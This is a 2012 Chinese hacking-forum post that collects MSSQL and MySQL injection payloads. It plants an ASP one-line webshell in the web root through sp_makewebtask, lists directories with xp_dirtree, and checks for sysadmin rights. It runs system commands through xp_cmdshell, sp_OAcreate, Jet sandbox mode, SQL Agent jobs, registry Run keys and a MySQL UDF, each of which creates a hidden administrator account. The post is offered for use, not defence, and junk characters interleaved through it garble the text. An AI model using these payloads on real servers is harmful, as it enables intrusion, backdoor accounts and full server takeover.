找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2913|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马
' _% ^" ?# M" ~首先确定网站的WEB路径! x( Q) z1 a. U4 V% Z3 e
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
- ^, H3 O- w1 H1 x5 F. c/ ]
' M/ i7 n4 G* H/ s;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
$ ~) O# f% [6 C: [9 ^//将一句话木马插入表中
, q& U! f8 @7 f6 Y2 K7 G3 E
7 v- r$ S. j0 ~& a7 ~5 O# K6 `;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- 5 J% m7 x, v+ K+ n& F( a/ ~
//导出一个ASP文件2 }4 Y* U1 M; m# `( Y

2 o- Q7 F/ q) G) e/ ]. q5 `% \' q, @: u$ W( V1 k4 S5 _* S! H
关于MSSQL列目录
2 u2 L0 l3 N+ I+ Y% i;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
7 _" P, S+ e& K, W" B2 K  l( K- D2 |/ c3 lInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表) i' t/ M* R3 k+ \) ~. n

$ ?6 |4 j8 h0 I$ M' Pand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录9 \/ N, B" K+ D0 O1 v" _* J
5 c! x' |& j" o) E& v$ K& t  `
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段9 X6 ?! d9 _  U+ [7 m

! J0 C4 t- [. C" V! }And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符: s  ]4 s2 A# y; t
/ c$ e) m4 b3 B) }$ F* O* a

) I( Q, r. z/ k# G5 l: R数据库版本和权限查看- _2 e0 a% x1 W7 u3 h) A: M& v
and 1=(select @@VERSION) //查看详细的数据库信息.- G5 e' A' \- d- q# m
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
0 B6 j( R' z% x+ H8 i3 zand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
# Y; H- L9 R+ @, T1 a) ]1 A
1 V( O  |4 z/ m, W* U8 _1 z) e, }- H2 Z1 E7 W9 I! y: R8 t
1.利用xp_cmdshell执行命令
* D# W" T9 ~1 n! P9 Xexec master..xp_cmdshell 'net user rfire 123456 /add'
: Y" t+ g4 {: Aexec master..xp_cmdshell 'net localgroup administrators rfire /add'
' A$ [6 L# V4 H1 v
6 ~9 V7 r8 ~5 P% ~' B0 e$ g3 K. A# R( b恢复xp_cmdshell存储过程
) _1 E0 s/ U8 [, m# tExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
- V! ~, p. o# O: w) u9 g  P$ X
1 K* F& V0 N8 e1 m/ b# v' |1 F+ W- u& o
2.利用SP_OAcreate和SP_OAMETHOD执行命令
6 V- A! z! r' R8 D; K在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
2 ?2 A/ V! A4 ]2 H) c5 pDECLARE @shell INT //建立一个@shell实体
% P7 {/ \  T: [% LEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
) t2 s4 o0 I: b9 Y& oEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例4 n9 w8 ?# `) O# S) x) O

: {. z9 t* D- O% A+ o1 [$ |- E" m
* Z* ^% n( J0 j$ s0 E3.利用沙盒模式1 G" J" `' b8 |* ]
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
  p' T7 R1 j% f1 t  r& G$ i开启沙盒模式:
# H2 n  ?) A7 D+ k- A5 K" s; y1 g! {EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0& T3 x% Y# J6 I* S; @4 ~5 H+ l, b  C
+ E6 W& }' X' J6 W4 W
执行命令:1 u& @0 w- {. o" b# G* W
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
& q2 m: Y. u4 S* J9 c# w  K' x1 w0 Z* L
; j# T+ e9 g/ ?) Z
4.利用SQL代理执行命令: p6 C, l. v* W: n9 A9 |  l
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务) e. T$ J% J/ E+ o, P8 V

3 U, c$ z# u  r$ i. b/ T# H1 l执行命令:
4 _$ b% [0 i: m1 J( b5 ^4 X  Uuse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
/ ]* t. J: X+ \: L. Lexec sp_add_job 'x'1 w1 _; ^! i3 N: Y
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
. d- j# c. M4 Pexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
: F% @$ N) _3 t! `+ @
3 a7 A- ]2 A; g, C1 X. u- I
  x, q. A* ^6 c) T$ U, B5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
$ T5 @  O. n4 p# [" v, wEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'* j0 B, v) B) P9 O% C
: b5 n( V% x) E9 V

- ]# h  Z1 M# f0 w# e6 e6.MYSQL的命令执行
4 P* ?9 z: ]2 V- K& tMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)9 V7 `" x3 z- g) I/ J  |+ L
首先要在su.php下导出c:\windows\udf.dll
0 M; j5 J- w  W1 m导出后执行创建自定义函数命令:& @9 [+ W  u1 N7 S  ^0 W  d" t' d, {
Create Function cmdshell returns string soname 'udf.dll'
8 v' I  F- n; U; O执行命令0 G, X# H6 `1 c, z
select cmdshell('net user rfire 123456 /add')( l8 \8 Y* N! Z0 P4 {# m
执行后删除函数 drop function cmdshell
& q9 K. |9 Q9 }3 I5 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表